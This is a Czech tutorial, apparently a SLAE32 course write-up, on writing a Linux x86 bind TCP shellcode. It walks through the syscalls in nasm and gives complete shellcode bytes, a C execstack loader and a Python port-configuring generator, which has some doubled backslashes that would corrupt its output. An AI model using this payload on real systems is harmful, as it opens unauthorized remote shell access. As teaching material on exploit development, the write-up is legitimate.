V prvním textu této 32bitové série bude demonstrováno, jak si vytvořit vlastní 32bitový bind tcp shellcode s konfigurovatelným nastavením portu.
Jako inspirace bude použit shell_bind_tcp z msfvenom, který bude analyzován pomocí libemu.
Všechny povinné možnosti nastavení můžeme vidět pomocí:
- msfvenom -p linux/x86/shell_bind_tcp ––list-options
Je zde pouze jedno povinné nastavení a to „LPORT“.

Shellcode v C si můžeme vytvořit pomocí:
- msfvenom -p linux/x86/shell_bind_tcp LPORT=9001 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

Následně zkompilujeme C script a spustíme jej:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn, otevřel port 9001, poslouchá a čeká na připojení. Nyní můžeme analyzovat shellcode pomocí libemu, abychom plně porozuměli tomu, jak funguje:
• echo -ne “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x23\x29\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80” | /opt/libemu/tools/sctest/sctest -vvv -Ss 100000 -G shellcode.dot
• dot shellcode.dot -T png -o shellcode.png

Můžeme vidět, že shell_bind_tcp používá tyto syscally:
socket -> bind -> listen -> accept -> dup2 -> execve
Pomocí nástroje strace můžeme vidět, jaké parametry syscally používají:
• strace -e socket,bind,listen,accept,dup2,execve ./shellcode

Číslo syscallu socket můžeme najít pomocí:
• cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socket 359 => 0x167
Více informací o syscallu socket najdeme pomocí „man 2 socket“ => int socket(int domain, int type, int protocol); jak vidíme, budeme potřebovat celkem 4 registry.
Hodnoty najdeme pomocí:
- grep -R „_INET“ /usr/include/
- PF_INET = 2
- grep -R „SOCK_STREAM“ /usr/include/
- SOCK_STREAM = 1
- grep -R „IPPROTO_IP“ /usr/include/
- IPPROTO_IP = 0
Nyní můžeme vytvořit první část v assembly:
; Filename: linux_x86_shell_bind_tcp.nasm
; Author: SLAE-14209
global _start
section .text
_start:
; syscall socket()
xor eax, eax ; zeroize EAX register
xor ebx, ebx ; zeroize EBX register
xor ecx, ecx ; zeroize ECX register
xor edx, edx ; zeroize EDX register
mov ax, 0x167 ; syscall socket
mov bl, 0x2 ; AF_INET = 2
mov cl, 0x1 ; SOCKET_STREAM = 1
int 0x80 ; interrupt vector
mov edi, eax ; storing EAX into EDI for future references
Následně musíme vytvořit syscall syscall bind. Více informací o syscallu najdeme pomocí „man 2 bind“:
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
- sockfd = EBX => reference na socket (EAX -> EDI)
- const struct sockaddr *addr = ECX => pointer na místo do stacku sockaddr struct, který budeme vytvářet
Sockaddr struct (ECX) je složený z:
• AF_INET => 2
• Port number => 9001 decimal = 2329 hex => little endian = 0x2923
• Internet address => 0.0.0.0
• 0
• socklen_t addrlen = EDX => length of the address which the
/usr/include/linux/in.h =>
- #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ => 16
Stack roste z vyšších hodnot k nižším, proto musíme umisťovat argumenty do stacku v obráceném pořadí a používat little endian formát.
Následně můžeme aktualizovat nasm soubor:
; syscall bind()
xor eax, eax ; zeroize EAX register
mov ax, 0x169 ; syscall bind()
mov ebx, edi ; reference to stored eax with socket()
xor ecx, ecx ; zeroize ECX register (=> sockaddr struct)
push ecx ; 0
push ecx ; Internet address 0.0.0.0
push word 0x2923 ; push port number 9001 (little endian)
push word 0x2 ; push AF_INET 2
mov ecx, esp ; Stack Pointer -> ECX
mov dl, 16 ; addrlen (EDX) = 16
int 0x80
Jako další budeme potřebovat listen() syscall:
- cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep listen
- #define __NR_listen 363 => 0x16B
- man 2 listen:
- int listen(int sockfd, int backlog);
- listen() = EAX
- sockfd = EBX -> reference na EDI
- backlog = ECX -> 0
- int listen(int sockfd, int backlog);
; syscall listen()
xor eax, eax
mov ax, 0x16b ; syscall listen()
mov ebx, edi ; reference na EDI (socket())
xor ecx, ecx
int 0x80
Jako další budeme potřebovat accept() syscall:
- cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep accept
- #define __NR_accept4 364 => 0x16c
- man 2 accept4
int accept4(int sockfd, struct sockaddr *addr,
socklen_t *addrlen, int flags);
- listen() = EAX
- sockfd = EBX => reference na EDI
- addr = ECX 0
- addrlen = EDX 0
- flags = ESI 0
; syscall accept()
xor eax, eax ; zeroize
mov ax, 0x16c ; syscall accept()
mov ebx, edi ; reference na EDI
xor ecx, ecx ; addr = 0
xor edx, edx ; addrlen = 0
xor esi, esi ; flags = 0
int 0x80
xor edi, edi ; zeroize socket() uložené EDI
mov edi, eax ; save return value from EAX v EDI
Jako další budeme potřebovat dup2 syscall:
- cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
- #define __NR_dup2 63 => 0x3F
- man 2 dup2
- int dup2(int oldfd, int newfd);
- bude potřeba udělat 3x loop v ECX:
- STDIN
- STDOUT
- STDERR
- dup2 = EAX
- bude potřeba udělat 3x loop v ECX:
- int dup2(int oldfd, int newfd);
Všechny požadované argumenty pro dup2 jsou v sockfd, který je uložený v accept() syscallu => EDI
; 5. syscall dup2()
mov cl, 0x3 ; counter = 3
loop_dup2:
xor eax, eax ; zeroize because of placing dup2()
mov al, 0x3f ; syscall dup2()
mov ebx, edi ; reference on stored EDI
dec cl ; decrementing counter by 1
int 0x80
jnz loop_dup2 ; jmp not zero
Jako další budeme potřebovat execve syscall:
- cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
- #define __NR_execve 11 => 0xb
- man 2 execve:
- int execve(const char *pathname, char *const argv[],
char *const envp[]);
- execve = EAX
- pathname = EBX = ‚//bin/sh‘ (length 8) terminated by null byte
- python
- code = ‚//bin/sh‘
- code[::-1].encode(‚hex‘)
- 0x68732f6e ; ‚hs/n“
- 0x69622f2f ; ‚ib//‘
- python
- argv = ECX 0
- envp = EDX 0
; 6. syscall execve()
xor eax, eax ; zeroize because of placing execve()
push eax
push 0x68732f6e ; 'hs/n"
push 0x69622f2f ; 'ib//'
mov ebx, esp ; '//bin/sh' -> ESP
push eax ; push 0
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb ; syscall execve()
int 0x80
Kompletní nasm soubor můžete nalézt zde: https://github.com/Pal1Sec/SLAE32/blob/master/Assignment%201/linux_x86_shell_bind_tcp.nasm
Nasm soubor zkompilujeme:
- nasm -f elf32 -o linux_x86_shell_bind_tcp.o linux_x86_shell_bind_tcp.nasm
- ld linux_x86_shell_bind_tcp.o -o linux_x86_shell_bind_tcp
A spustíme:

Jak můžeme vidět výše, bind shell funguje a otevře port 9001.
Dále si extrahujeme shellcode:
• objdump -d ./linux_x86_shell_bind_tcp|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

Vložíme do původního C skriptu:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Zkompilujeme:
• gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět, vše funguje. Pro zajímavost můžeme zkusit test na virustotal:

Následně můžeme vše optimalizovat, aby byl port jednoduše konfigurovatelný, toho dosáhneme pomocí níže uvedeného python skriptu:
#!/usr/bin/env python2
from sys import argv
port = int(argv[1])
porthex = hex(int(port)).replace('0x', '')
if len(porthex) < 4:
porthex = '0' + porthex
porthex = '\\x%s\\x%s' % (porthex[0:2], porthex[2:])
print 'Port: %d' % port
print 'Hex: %s' % porthex
sc = \
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc7\\x31\\xc0\\x66\\xb8\\x69\\x01\\x89\\xfb\\x31\\xc9\\x51\\x51" + porthex + "\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6b\\x01\\x89\\xfb\\x31\\xc9\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x89\\xfb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\xcd\\x80\\x31\\xff\\\\x89\\xc7\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd\\x80\\x75\\xf4\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\\\xb0\\x0b\\xcd\\x80"
print sc

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32